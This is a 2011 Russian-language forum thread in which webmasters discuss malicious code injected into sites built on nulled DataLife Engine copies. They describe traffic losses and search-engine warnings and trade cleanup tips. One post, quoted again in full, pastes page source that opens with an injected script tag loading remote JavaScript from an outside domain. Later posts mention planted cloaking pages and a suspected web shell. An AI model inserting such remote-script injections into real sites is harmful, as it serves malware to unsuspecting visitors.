Помощь Инородный код новостях?!

killoff · 23 Фев 2011

Sergo_Sev написал(а):
Но причина однозначно в нулах

Если нулл проверенный, а не какой-то самопальный - то все будет также как и лицензия: дыры будут точно такие же! Сам проверял на изменения нулл от мидтим и лиценз: ничего лишнего в код не было добавлено.

Non-Stop · 24 Фев 2011

На днях заметил спад трафика раз в 5.
Оказалась таже беда... вредностный код
Яша начал сайт выводить с пометкой "Этот сайт может нанести вред вашему компьютеру"
Советую всем проверить наличие кода, если упала посещалка....
Способы латания дыры в данной теме выложивали, не буду повторяться.

Sergo_Sev · 26 Фев 2011

Non-Stop написал(а):
На днях заметил спад трафика раз в 5.
Оказалась таже беда... вредностный код
Яша начал сайт выводить с пометкой "Этот сайт может нанести вред вашему компьютеру"
Советую всем проверить наличие кода, если упала посещалка....
Способы латания дыры в данной теме выложивали, не буду повторяться.

Это еще хороший исход, часто в таких случаях сайт вообще из выдачи может вылететь с концами и хрен его потом вернешь, долго придется долбаться

yamori · 27 Фев 2011

Таже проблема трафик упал почти к нулю...

bestar · 3 Мар 2011

здрасьте теперь этой теме)

как эту хрень удалить с сайта?
1.уже пробывал скачивать бд и поиском искать по слову мародер и нечего оно не нашло
2.пробывал Быстрый поиск и замена определенного текста по всей базе данных
3.dle_malware_clean
нечего не помогло
высвечивается он у меня на всех страницах в самом начале
вот небольшой пример

Код:

[COLOR="Red"]<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://maroder.info/js/if.php?id=2848">[/COLOR]</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><link type="text/css" href="/web-optimizer/cache/bdbc2939dd.css" rel="stylesheet"/><meta name="google-site-verification" content="1jIPS9D-0dee1BUURClz4lAlUaanU81xLi_mq0tBPew"/><meta name='yandex-verification' content='47f49a5ad5e73a67'/><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/><title>Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент</title><meta name="description" content="Русский торрент трекер, уникального направления, у нас вы можете скачивать без регистрации смс и всяких надоедливых рейтингов, но и конечно же без регистраций"/><meta name="keywords" content="Торрент, скачать, торрент, torrent, download, Русский, лучший, фильмами, с, трекер, фильмы, бесплатно, игры, через, utorrent"/><meta name="robots" content="all"/><meta name="revisit-after" content="1 days"/><link rel="search" type="application/opensearchdescription+xml" href="http://torrentez.ru/engine/opensearch.php" title="Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент"/><link rel="alternate" type="application/rss+xml" title="Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент" href="http://torrentez.ru/rss.xml"/><link rel="shortcut icon" href="http://torrentez.ru/favicon.ico"/><!-- Если favicon не отображается, пишем адрес через www --><!--[if IE]><link rel="stylesheet" type="text/css" href="/templates/DomKino/css/ie.css" media="all"/><![endif]-->
<script type="text/javascript" src="/web-optimizer/cache/9ae3ef8c2a.js"></script></head><body><div id="loading-layer" style="display:none;font-family: Verdana;font-size: 11px;width:200px;height:50px;background:#FFF;padding:10px;text-align:center;border:1px solid #000"><div style="font-weight:bold" id="loading-layer-text">Загрузка. Пожалуйста, подождите...</div><br/><img src="/engine/ajax/loading.gif"  border="0" alt=""/></div><div id="busy_layer" style="visibility: hidden; display: block; position: absolute; left: 0px; top: 0px; width: 100%; height: 100%; background-color: gray; opacity: 0.1; -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=10)'; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=10); "></div><script language="javascript" type="text/javascript">
<!--
var dle_root       = '/';
var dle_admin      = '';
var dle_login_hash = '';
var dle_skin       = 'DomKino';
var dle_wysiwyg    = 'no';
var quick_wysiwyg  = '0';
var menu_short     = 'Быстрое редактирование';
var menu_full      = 'Полное редактирование';
var menu_profile   = 'Просмотр профиля';
var menu_fnews     = 'Найти все публикации';
var menu_fcomments = 'Найти все комментарии';
var menu_send      = 'Отправить сообщение';
var menu_uedit     = 'Админцентр';
var dle_req_field  = 'Заполните все необходимые поля';
var dle_del_agree  = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var dle_del_news   = 'Удалить новость';
var allow_dle_delete_news   = false;
//-->

кто.. как его удалил? поделитесь инфой пожалуйста!

yavasilek · 4 Мар 2011

bestar написал(а):

здрасьте теперь этой теме)

как эту хрень удалить с сайта?
1.уже пробывал скачивать бд и поиском искать по слову мародер и нечего оно не нашло
2.пробывал Быстрый поиск и замена определенного текста по всей базе данных
3.dle_malware_clean
нечего не помогло
высвечивается он у меня на всех страницах в самом начале
вот небольшой пример

Код:

[COLOR="Red"]<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://maroder.info/js/if.php?id=2848">[/COLOR]</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><link type="text/css" href="/web-optimizer/cache/bdbc2939dd.css" rel="stylesheet"/><meta name="google-site-verification" content="1jIPS9D-0dee1BUURClz4lAlUaanU81xLi_mq0tBPew"/><meta name='yandex-verification' content='47f49a5ad5e73a67'/><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/><title>Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент</title><meta name="description" content="Русский торрент трекер, уникального направления, у нас вы можете скачивать без регистрации смс и всяких надоедливых рейтингов, но и конечно же без регистраций"/><meta name="keywords" content="Торрент, скачать, торрент, torrent, download, Русский, лучший, фильмами, с, трекер, фильмы, бесплатно, игры, через, utorrent"/><meta name="robots" content="all"/><meta name="revisit-after" content="1 days"/><link rel="search" type="application/opensearchdescription+xml" href="http://torrentez.ru/engine/opensearch.php" title="Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент"/><link rel="alternate" type="application/rss+xml" title="Русский торрент трекер | торрент трекер с фильмами | Игры скачать с торрента | Лучший торрент" href="http://torrentez.ru/rss.xml"/><link rel="shortcut icon" href="http://torrentez.ru/favicon.ico"/><!-- Если favicon не отображается, пишем адрес через www --><!--[if IE]><link rel="stylesheet" type="text/css" href="/templates/DomKino/css/ie.css" media="all"/><![endif]-->
<script type="text/javascript" src="/web-optimizer/cache/9ae3ef8c2a.js"></script></head><body><div id="loading-layer" style="display:none;font-family: Verdana;font-size: 11px;width:200px;height:50px;background:#FFF;padding:10px;text-align:center;border:1px solid #000"><div style="font-weight:bold" id="loading-layer-text">Загрузка. Пожалуйста, подождите...</div><br/><img src="/engine/ajax/loading.gif"  border="0" alt=""/></div><div id="busy_layer" style="visibility: hidden; display: block; position: absolute; left: 0px; top: 0px; width: 100%; height: 100%; background-color: gray; opacity: 0.1; -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=10)'; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=10); "></div><script language="javascript" type="text/javascript">
<!--
var dle_root       = '/';
var dle_admin      = '';
var dle_login_hash = '';
var dle_skin       = 'DomKino';
var dle_wysiwyg    = 'no';
var quick_wysiwyg  = '0';
var menu_short     = 'Быстрое редактирование';
var menu_full      = 'Полное редактирование';
var menu_profile   = 'Просмотр профиля';
var menu_fnews     = 'Найти все публикации';
var menu_fcomments = 'Найти все комментарии';
var menu_send      = 'Отправить сообщение';
var menu_uedit     = 'Админцентр';
var dle_req_field  = 'Заполните все необходимые поля';
var dle_del_agree  = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var dle_del_news   = 'Удалить новость';
var allow_dle_delete_news   = false;
//-->

кто.. как его удалил? поделитесь инфой пожалуйста!

может и в index.php прописано
может и в main.tpl прописано перед тегом {AJAX}...

paul_rem · 23 Мар 2011

помогите советом. На сайты залили в разные места папки в которых находятся HTML разные с сылками на бесплатные файловые обменники для скачивания всякого г...я так понимаю натуральный клоакинг, как с таким бороться? папки не далеко запрятаны

abrvalk · 24 Мар 2011

Самый лучший совет это преобрести движок, а не пользоваться нулами от Тима. Хотя раньше у него в нуле хоть и были дыры но их особо никто не ковырял, а сейчас либо Тим балуется, либо кто то нашел бекдор и пользует во всю катушку. Повторюсь берите лицуху и не заморачивайтесь

paul_rem · 24 Мар 2011

ну а по точнее то можно что нить сказать, брать лицуху это мне напоминает как гадание на кофейной гуще, это у меня сосед рассуждает так же, у меня вирисы говорит, достали, касперский вломанный не помогает, надо купить короче лицуху и моя проблема решится ,

по-моему , здесь немного похожая прям ситуация , почему засрали только 4 сайта , хотя на хосте где они еще было несколько сайтов, и чую что где то шелл, надо выискивать сейчас и удалять, и надо бы вот думаю обновиться все таки до 9.2 У кого какие еще предложения, как предотвращять залитие шела?

Помощь Инородный код новостях?!

killoff

CD тихо, и не DVD меня ;)

Non-Stop

Профессор

Sergo_Sev

Творец

yamori

Писатель

bestar

Создатель

yavasilek

Мой дом здесь!

paul_rem

Знаток

abrvalk

Гуру форума

paul_rem

Знаток